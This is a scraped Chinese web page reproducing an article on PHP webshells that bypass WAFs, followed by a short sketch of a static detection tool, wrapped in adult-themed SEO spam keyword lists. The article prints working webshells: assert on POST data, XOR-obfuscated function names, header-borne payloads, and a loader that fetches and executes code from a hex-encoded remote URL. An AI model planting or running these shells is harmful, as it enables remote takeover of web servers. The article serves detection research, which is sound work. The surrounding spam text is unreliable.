校园春色亚洲色图_亚洲视频分类_中文字幕精品一区二区精品_麻豆一区区三区四区产品精品蜜桃

主頁 > 知識庫 > PHP常見過waf webshell以及最簡單的檢測方法

PHP常見過waf webshell以及最簡單的檢測方法

熱門標簽:百度地圖怎樣標注圖標 廣東廣州在怎么申請400電話 400電話蘭州申請請 電銷機器人問門薩維品牌my 外呼系統能給企業帶來哪些好處 咸寧銷售電銷機器人系統 開發地圖標注類網站 余姚電話機器人 百度地圖標注偏差

前言

之前在Webshell查殺的新思路中留了一個坑 ️,當時沒有找到具體找到全部變量的方法,后來通過學習找到了個打印全部量的方法,并再次學習了下PHP webshell繞過WAF的方法,以此來驗證下此方法是否合理。

如有錯誤,還請指出,不勝感激! :turtle:拜

在那篇文章中我突然想到一種檢測webshell的方法,就是首先獲取到當前文件中的所有變量(不明白的可以先去看下之前的文章),然后再根據正則庫進行靜態檢測。

自認為這種方法雖然會檢測不完全(每個檢測機制都不能保障全部有效),但是感覺非常簡單、實用,也沒那么多高深的道理。

為了驗證該檢測機制,首先了解下目前PHP webshell繞過WAF的方法。

常見繞過WAF的PHP webshell

字符串變形

大小寫、編碼、截取、替換、特殊字符拼接、null、回車、換行、特殊字符串干擾

?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

自寫函數

利用 assert()

?php 
function test($a){
  $a($_POST['x']);
}
test(assert);
?>

回調函數

?php 
call_user_func(assert,array($_POST[x]));
?>

call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()


利用魔術方法、析構函數 __destruct() , __construct()

?php 
class test
{
 public $a = '';
 function __destruct(){
  assert("$this->a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

利用外部文件

利用 curl , fsockopen 等發起網絡請求再結合 file_get_contents

?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

無字符特征馬

編碼、異或、自增

?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

特殊請求頭

利用 getallheaders()

?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
 $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>

全局變量

利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP混淆加解密

以phpjiami為例

就是將函數名、變量名全部變成”亂碼”,且改動任意一個地方,都將導致文件不能運行。具體可訪問: https://www.phpjiami.com/

PHP webshell檢測方法

目前我所了解的webshell檢測方式有:

  1. 機器學習檢測webshell:比如混淆度、最長單詞、重合指數、特征、壓縮比等
  2. 動態檢測(沙箱)
  3. 基于流量模式檢測webshell:agent
  4. 逆向算法+靜態匹配檢測webshell:比如D盾webshell查殺
  5. 根據文件入度出度來檢測

實例展示

這里以PHPjiami的webshell為例,其中 2.php 即為phpjiama的木馬

可以明顯看到明顯的webshell規則了,這樣再用靜態規則、正則等即可輕松檢測到。

簡單檢測思路

檢測思路:

文件上傳->文件包含->獲取所有文件中的變量到臨時文件中->靜態規則匹配臨時文件->返回匹配結果

├── __init__.py
├── conf
│   ├── __init__.py
│   ├── config.py
├── core
│   ├── __init__.py
│   ├── all_check.py
│   ├── data_mysql.py
│   └── file_inotify.py
├── lib
│   ├── __init__.py
│   └── semantic_analysis_api.py
├── test
│   ├── __init__.py
│   ├── file_md5_move.py
│   ├── os_check.py
│   ├── random_file_test.py
│   └── ...
├── web
│   ├── static
│   │   ├── css
│   │   │   ├── main.css
│   │   ├── images
│   │   │   └── background.jpg
│   │   └── js
│   │       └── upload.js
│   ├── templates
│   │   ├── index.html
│   ├── upload_file.php
│   └── include_file_to_tmp.php
├── webshell_check.py

conf中包含的是諸如下列的靜態檢測規則

總結

以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作具有一定的參考學習價值,謝謝大家對腳本之家的支持。

您可能感興趣的文章:
  • PHP實現webshell掃描文件木馬的方法
  • 一個ASP.Net下的WebShell實例
  • php木馬webshell掃描器代碼
  • 精確查找PHP WEBSHELL木馬 修正版
  • 精確查找PHP WEBSHELL木馬的方法(1)
  • Webshell基礎知識深入講解

標簽:銅陵 重慶 巴彥淖爾 麗江 鷹潭 臨沂 衡陽 十堰

巨人網絡通訊聲明:本文標題《PHP常見過waf webshell以及最簡單的檢測方法》,本文關鍵詞  PHP,常見過,常,見過,waf,webshell,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《PHP常見過waf webshell以及最簡單的檢測方法》相關的同類信息!
  • 本頁收集關于PHP常見過waf webshell以及最簡單的檢測方法的相關信息資訊供網民參考!
  • 推薦文章
    校园春色亚洲色图_亚洲视频分类_中文字幕精品一区二区精品_麻豆一区区三区四区产品精品蜜桃
    久久久亚洲国产美女国产盗摄| 国产.欧美.日韩| 久久视频一区二区| 欧美日韩国产一级片| 成人h动漫精品| 国产在线播放一区| 午夜成人在线视频| 亚洲精品福利视频网站| 欧美精品一区二区三区久久久| 欧美日韩一区二区欧美激情 | 99久久777色| 国模冰冰炮一区二区| 日本女优在线视频一区二区| 日本成人在线看| 极品少妇xxxx精品少妇| 国产精品一二三四五| 成人毛片老司机大片| voyeur盗摄精品| 欧洲一区二区三区在线| 欧美一级生活片| 久久精品视频免费| 亚洲精选免费视频| 麻豆91精品91久久久的内涵| 国产福利一区在线| 欧洲在线/亚洲| 久久久亚洲高清| 亚洲色图欧洲色图| 美国毛片一区二区三区| 成人黄动漫网站免费app| 欧美三级韩国三级日本一级| 精品不卡在线视频| 亚洲精品自拍动漫在线| 久久99精品国产麻豆不卡| 不卡一卡二卡三乱码免费网站| 欧美午夜在线一二页| 精品欧美乱码久久久久久| 国产精品传媒入口麻豆| 日本亚洲三级在线| av高清不卡在线| 日韩一区二区三区免费看| 国产精品日日摸夜夜摸av| 午夜精品福利一区二区三区蜜桃| 国产精品1区二区.| 欧美电影影音先锋| 亚洲色图欧美激情| 国产一区免费电影| 91麻豆精品国产91久久久资源速度| 国产色爱av资源综合区| 日本欧美肥老太交大片| 日本高清不卡视频| 国产亚洲一区二区三区| 人人狠狠综合久久亚洲| 欧美午夜不卡视频| 中文字幕一区在线观看视频| 国产一区二区主播在线| 欧美人与z0zoxxxx视频| 一区二区三区电影在线播| 国产黑丝在线一区二区三区| 欧美一区二区三区免费| 天天做天天摸天天爽国产一区| av一区二区三区在线| 国产欧美一区二区精品性| 麻豆91在线播放免费| 日韩午夜激情视频| 天天影视色香欲综合网老头| 91精品1区2区| 国产精品毛片久久久久久久| 国产乱子轮精品视频| 久久综合av免费| 另类小说一区二区三区| 欧美成人艳星乳罩| 久久99国产精品久久| 日韩一级大片在线观看| 男人的j进女人的j一区| 91精品福利在线一区二区三区| 亚洲午夜久久久久久久久久久| 一本到不卡免费一区二区| 亚洲欧洲日本在线| 色综合视频在线观看| 中文字幕一区二区在线播放| 99在线精品观看| 日韩美女视频19| 在线观看日韩国产| 麻豆精品视频在线观看视频| 在线成人小视频| 久久国产日韩欧美精品| 久久美女高清视频 | 国产日产精品1区| 成人一区二区三区中文字幕| 精品国产伦一区二区三区观看体验| 麻豆精品在线观看| 久久久国产精华| eeuss国产一区二区三区| 国产精品久久一卡二卡| 欧美专区日韩专区| 日本午夜一区二区| 久久久久青草大香线综合精品| 高清不卡一二三区| 亚洲一二三四在线观看| 91精品在线免费| 国产精品正在播放| 一区二区三区免费| 3d成人动漫网站| 国产91在线|亚洲| 一区二区三区国产精品| 欧美大片在线观看一区二区| 成人一二三区视频| 亚洲高清视频中文字幕| 日韩欧美国产小视频| 成人午夜大片免费观看| 午夜电影网一区| 中文字幕乱码久久午夜不卡| 在线观看欧美精品| 国产成人免费视频网站高清观看视频 | 日韩中文字幕麻豆| 国产欧美一二三区| 在线不卡一区二区| 成人av电影在线| 久久精品国产一区二区三区免费看| 国产欧美日韩三级| 日韩精品在线看片z| 97久久精品人人爽人人爽蜜臀 | 久久草av在线| 曰韩精品一区二区| 中文字幕乱码久久午夜不卡 | 免费成人性网站| 亚洲精品国产a| 国产精品三级av在线播放| 欧美日韩国产首页| 99国产精品国产精品毛片| 成人污污视频在线观看| 日本在线播放一区二区三区| 一区二区激情小说| 欧美国产成人精品| 久久综合九色综合欧美就去吻| 欧美三级蜜桃2在线观看| 成人av一区二区三区| 国产一区二区三区香蕉| 秋霞影院一区二区| 亚洲成av人片一区二区梦乃| 成人欧美一区二区三区小说| 国产午夜精品久久久久久久| 日韩欧美成人一区二区| 欧美精品欧美精品系列| 欧美亚洲高清一区二区三区不卡| 成人在线一区二区三区| 国产精品自产自拍| 国产精华液一区二区三区| 黑人巨大精品欧美黑白配亚洲 | 欧美成va人片在线观看| 欧美一区二区在线视频| 欧美精品精品一区| 91精品在线免费观看| 日韩午夜电影在线观看| 日韩视频在线永久播放| 精品欧美一区二区三区精品久久 | 91精品国产综合久久久蜜臀图片 | 五月天激情小说综合| 亚洲国产美女搞黄色| 亚洲成人av中文| 免费人成黄页网站在线一区二区| 亚洲高清不卡在线| 日韩中文字幕1| 麻豆一区二区三区| 国产乱淫av一区二区三区| 国产成人在线视频免费播放| 成人午夜精品一区二区三区| 一本色道综合亚洲| 欧美日韩高清一区| 精品国产乱码久久久久久图片| 精品国产区一区| 国产精品天干天干在观线| 亚洲精品日韩综合观看成人91| 一区二区成人在线视频| 丝瓜av网站精品一区二区 | 欧美亚洲丝袜传媒另类| 欧美视频一区在线| 日韩欧美成人激情| 综合中文字幕亚洲| 视频一区二区不卡| 国产成人在线视频网址| 91福利国产精品| 日韩视频123| 国产精品国产三级国产专播品爱网 | 日韩亚洲欧美综合| 亚洲国产精品成人久久综合一区| 一区二区三区加勒比av| 国模一区二区三区白浆| 色美美综合视频| 久久综合色天天久久综合图片| |精品福利一区二区三区| 麻豆成人91精品二区三区| 91小视频在线免费看| 日韩一区二区精品| 亚洲柠檬福利资源导航| 国产在线观看一区二区| 欧美在线看片a免费观看| 国产亚洲综合性久久久影院| 亚洲1区2区3区4区| 91免费看`日韩一区二区|